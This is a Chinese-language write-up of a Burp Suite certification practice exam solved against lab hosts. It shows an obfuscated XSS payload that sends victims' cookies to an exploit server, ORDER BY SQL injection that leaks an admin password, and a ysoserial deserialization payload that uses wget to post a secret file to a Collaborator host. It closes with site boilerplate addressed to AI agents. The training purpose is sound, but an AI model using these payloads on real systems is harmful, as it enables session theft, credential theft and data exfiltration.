> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# BSCP 模拟考试 1 解题报告

## 阶段 1：初始访问（跨站脚本攻击 - XSS）

目标：研究面板。向量：通过 JSON 对象中的 DOM 注入 JavaScript。

#### 1. 注入点分析

搜索词会反射到一个 JavaScript 变量中：

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. 绕过 WAF 和数据外传

直接使用 `document.cookie` 会触发 WAF（“可能存在危险的搜索词”）。为绕过它，可使用十六进制/Unicode 编码或 `替换为` 函数。

测试载荷（绕过）：

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

最终载荷（通过 Collaborator 进行外传）：

* 我们使用 `eval(atob(...))` 用于隐藏 `fetch` 向我们利用服务器发出的请求。

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. 最终利用（发送给受害者）

脚本会将受害者重定向到包含注入载荷的恶意 URL：

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## 阶段 2：权限提升（SQL 注入）

向量：SQL 注入于 `ORDER BY` 参数

#### 1. 数据库识别

未闭合的链产生的错误确认了可能存在注入。随后测试基于时间的载荷以识别数据库引擎：

* PostgreSQL（目标）： `DATE,pg_sleep(10)`
* 遇到的错误： `无法为 void 类型识别排序操作符`.
* 原因： `pg_sleep()` 返回 `void`，而它无法被排序 `ORDER BY`.

#### 2. 数据提取（基于错误）

为了提取管理员的密码，可以强制触发类型转换错误（Cast），让数据显示在错误消息中。

载荷： `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

结果：错误泄露了密码： `类型 integer 的无效输入语法："b235d711d5858825"`

<figure><img src="/files/53d413bf80ca74ee41e91073156bd9995325d64e" alt=""><figcaption></figcaption></figure>

### 阶段 3：文件系统访问（Java 反序列化）

目的：访问文件系统（外传 `秘密` 文件）。

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Cookie 分析

一旦以管理员身份连接，我们观察到 `admin-prefs` Cookie。

* 格式：URL 编码 -> Base64 -> Gzip -> 序列化 Java 对象。

<figure><img src="/files/ac2f9c5f03554dd6177f61914988635e358c6b09" alt=""><figcaption></figcaption></figure>

#### 2. 利用（Ysoserial）

该应用使用了存在漏洞的库（CommonsCollections）。在测试不同版本（1 到 8）后，CommonsCollections6 版本可用。

<figure><img src="/files/2b55f30313a548e826e2bf8267912251c6506474" alt=""><figcaption></figcaption></figure>

#### 3. 外传载荷

我们生成一个载荷，将 `/home/carlos/secret` 文件通过 POST 请求发送到我们的 Collaborator 服务器：

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* 步骤：将二进制文件压缩为 Gzip -> 编码为 Base64 -> 替换中的值 `admin-prefs` Cookie。

<figure><img src="/files/3a64488ace95f48896768dc45993643f1947daca" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
